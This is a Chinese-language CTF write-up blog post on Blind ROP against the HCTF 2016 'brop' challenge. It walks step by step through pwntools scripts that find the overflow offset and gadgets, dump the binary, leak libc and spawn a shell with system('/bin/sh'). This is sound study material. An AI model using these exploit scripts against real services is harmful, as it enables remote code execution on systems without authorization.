BROP

2022-11-07

受到之前 HITCON 有一場由 angelboy 主講的議程影響

意外的發現 BROP 這個手法,BROP 全名為 Blind Return Oriented Programming (BROP)
一直以來打 rop 都是在有 binary 的前提下進行研究與攻擊的,所以像這種打 blind 的手法較少見,也讓我吃了一點苦頭

打 BROP 有幾個前提─binary 記憶體不會被 ASLR,canary 不會一直 random(這邊是關掉的)

事不宜遲直接開始

HCTF 2016- brop

這邊主要拿 HCTF 2016 - brop 作為練習,相關資料參考在這裡
https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/6.1.1_pwn_hctf2016_brop.html
題目在這裡
https://github.com/zh-explorer/hctf2016-brop

為了求真實,這邊一樣以未取得 binary 僅得知 ip/port 的方式進行攻擊

1
2
3
4
5
6
7
#!/bin/sh
while true; do
num=`ps -ef | grep "socat" | grep -v "grep" | wc -l`
if [ $num -lt 5 ]; then
socat tcp4-listen:10001,reuseaddr,fork exec:./a.out &
fi
done

執行起來的狀況:

Finding Offset

首先第一步─取得 overflow 的 offset

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

def get_overflowi_offset():
for i in range(1, 400):
try:
cyclic = b"a"*i
buf_size = len(cyclic)
log.info("trying buffer size: %d" %buf_size)
io = remote("127.0.0.1",10001)
io.recvline()
io.send(cyclic)
io.recvline()
io.close()
except:
io.close()
log.info("found overflow offset: %d" %(buf_size-1)) # overflow offset
return (buf_size-1)

get_overflowi_offset()

Finding Stop Gadget

第二步需要取得不會 crash,能使程式正常退出的 address,用來當作正常退出的記號,在後續的攻擊會需要用到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
import time,sys

def found_vaild_address(overflow_size):
addr = 0x400000 # init address
while True:
time.sleep(0.1) # wait time
addr += 1
payload = b"a"*overflow_size # overflow offset
payload += p64(addr)
log.info("trying address: %x" %addr)
try:
io = remote("127.0.0.1", 10001)
io.recvline()
time.sleep(0.1) # wait time
io.sendline(payload)
io.recvline()
io.close()
log.info("vaild address: %x" %addr)
return addr
except KeyboardInterrupt:
log.info("KeyboardInterrupt caught")
sys.exit(130)
except EOFError:
io.close()
log.info("fail, try header")

except PwnlibException:
log.error("Can't connect to server")

except Exception as e:
log.error(e)

found_vaild_address(72)

這邊通常都是拿 no PIE 的 base address 0x400000 當作尋找的起點,然後顧全網路連線的延遲,所以都會留下 sleep 的時間

Finding Brop Gadget

再來就是找 csu 的 gadget,眾所皆知 csu 上面有很多好用的 gadget,其中包括 rop 很常用到的 pop rdi;ret
這邊的尋找的邏輯跟找 stop gadget 差不多,並且 base address 可以以 stop gadget 為初始點下去找,因為 csu 的 gadget 基本上都會在最下面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
import time,sys

context.arch = 'amd64'
context.endian = 'little'

def found_brop_gadget(stop_address ,overflow_size):
addr = stop_address
while True:
time.sleep(0.1) # wait time
payload = b"a"*overflow_size # overflow offset
payload += flat([addr, 1, 2, 3, 4, 5, 6, stop_address])
log.info("trying address: %x" %addr)
try:
io = remote("127.0.0.1", 10001)
io.recvline(timeout=0.5)
time.sleep(0.1) # wait time
io.sendline(payload)
io.recvline(timeout=0.5)
io.close()
log.info("possible address: %x" %addr)
try:
check_payload = b"a"*overflow_size # overflow offset
check_payload += flat([addr, 1, 2, 3, 4, 5, 6, 7, 8, 9])
time.sleep(0.5) # wait time
io = remote("127.0.0.1", 10001)
io.recvline(timeout=0.5)
io.sendline(check_payload)
io.recvline(timeout=0.5)
io.close()
log.info("not brop address")
addr += 1
except EOFError:
log.info("find brop address: %x" %addr)
return addr

except KeyboardInterrupt:
log.info("KeyboardInterrupt caught")
sys.exit(130)

except EOFError:
io.close()
addr += 1
log.info("fail, try header")

except PwnlibException:
log.error("Can't connect to server")

except Exception as e:
log.error("error")
log.error(e)

found_brop_gadget(0x400545, 72)

我特別在 recvline 加上了 timeout 的參數,這樣防止它跳到 scanf 或是 read 等等的 function address 的時候能繼續執行下去
另外可以看到我除了要確保他是 vaild address 之外,在 check 那邊還故意丟了 9 個 invaild address,如果他真的是 csu gadget 的話那 pop 完之後會 return 到 invaild address 導致 crash
這樣就能確定它是 csu gadget 了

因為有 binary,可以做 double check

Finding Puts


下一步我們需要找到能 leak address 的位址,因為題目一開始就 print 字串了,所以可以合理懷疑有用到 puts
由於是 blind,所以部分還是得用猜的去做

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
import time,sys

context.arch = 'amd64'
context.endian = 'little'

def found_leak_gadget(addr, pop_rdi_ret , ELF_address ,overflow_size):
pop_rdi_ret_gadget = pop_rdi_ret
while True:
time.sleep(0.1) # wait time
payload = b"a"*overflow_size # overflow offset
payload += flat([pop_rdi_ret_gadget, ELF_address, addr])
log.info("trying address: %x" %addr)
try:
io = remote("127.0.0.1", 10001)
io.recvline(timeout=0.5)
time.sleep(0.1) # wait time
io.sendline(payload)
recv_string = io.recvline(timeout=0.5)
io.close()
if recv_string.startswith(b"\x7fELF"):
log.info("find puts address: 0x%x" %addr)
return addr

except KeyboardInterrupt:
log.info("KeyboardInterrupt caught")
sys.exit(130)

except EOFError:
io.close()
addr += 1
log.info("fail, try header")

except PwnlibException:
log.error("Can't connect to server")

except Exception as e:
log.error("error")
log.error(e)

found_leak_gadget(0x400000, 0x400793, 0x400000, 72)

這邊撰寫的邏輯是將 rdi 固定設定為程式的開頭,也就是 0x400000,然後開始往下尋找,只要成功找到 puts 的話就會把程式的 header 輸出出來


Dumping ELF


最後就是靠著上一步拿到的 puts address 來 leak binary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
import time

context.arch = 'amd64'
context.endian = 'little'
context.log_level = 'debug'

def leak_binary(start_address, end_address, pop_rdi_ret, leak_gadget, overflow_size, stop_gadget):
while start_address <= end_address:
time.sleep(0.1) # wait time
payload = b"a"*overflow_size # overflow offset
print(hex(start_address))
payload += flat([pop_rdi_ret, start_address, leak_gadget, stop_gadget])
result = b""

try:
io = remote("127.0.0.1", 10001)
#io = process("./a.out")
io.recvline(timeout=0.5)
time.sleep(0.1) # wait time
io.sendline(payload)
recv_string = io.recv(timeout=0.5)
io.close()

if recv_string == b'\n':
recv_string = b'\x00'
elif recv_string[-1:] == b'\n':
recv_string = recv_string[:-1] + b'\x00'

result += recv_string
start_address += len(result)
ff = open("leak.bin", "ab")
ff.write(result)
ff.close()


except KeyboardInterrupt:
log.info("KeyboardInterrupt caught")
sys.exit(130)

except EOFError:
log.info("fail, try header")

except PwnlibException:
log.error("Can't connect to server")

except Exception as e:
log.error("error")
log.error(e)
leak_binary(0x400000, 0x600000,0x400793, 0x400545, 72, 0x400545)




看起來應該是到 0x401000 位址就好然後我忘了針對 exception error 得後續處理,但 pwntool 有內建的處理所以還好
至於 leak 下來的 binary 該怎麼處理
我看網路上其他人有的用 IDA 修復 binary 解出 puts 的 GOT
這邊是採用免費的做法,用 r2 來解


這樣就拿到 plt 對應的 got address 了

Making ROP Chain and Get Shell

只要簡單的寫一隻 overflow leak 的腳本就可以獲得 got 裡面的 libc address 了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

io = remote("127.0.0.1", 10001)

context.log_level = 'debug'
puts_got = 0x601018
read_got = 0x601028
pop_rdi_ret = 0x400793
leak = 0x400545

io.recvline()
payload = b"a"*72 + p64(pop_rdi_ret) + p64(puts_got) + p64(leak)

io.send(payload)

io.interactive()

基本上可以用 libc-database 等等的網站就可以知道 libc 的版本與對應的 offset
https://libc.rip/

最後的流程是這樣
leak puts libc address and return to main -> get libc base address -> get system & /bin/sh address -> overflow again and get shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

from pwn import *
import time

context.log_level = 'debug'

libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
puts_got = 0x601018
read_got = 0x601028
pop_rdi_ret = 0x400793
ret = pop_rdi_ret+1
puts_plt = 0x00400550
main = 0x00400677

# leak address
payload = b"a"*72
payload +=p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(0x00400677)

io = remote("127.0.0.1", 10001)
io.recvline()
io.send(payload)
puts_libc = u64(io.recvline()[:-1].ljust(8, b'\x00'))
libc_base_address = puts_libc - libc.symbols['puts']
system_libc = libc_base_address + libc.symbols['system']
binsh_libc = libc_base_address + next(libc.search(b'/bin/sh'))
log.info("puts libc address is 0x%x" %puts_libc)
log.info("libc base address is 0x%x" %libc_base_address)
log.info("system libc address is 0x%x" %system_libc)
log.info("/bin/sh libc address is 0x%x" %binsh_libc)

# get shell
get_shell = b"a"*72
get_shell += p64(pop_rdi_ret)
get_shell += p64(binsh_libc)
get_shell += p64(ret)*5
get_shell += p64(system_libc)

io.recvline()
io.send(get_shell)

io.interactive()

其實這幾個步驟都可以全部整合成一個 script 但為了教學方便就分段了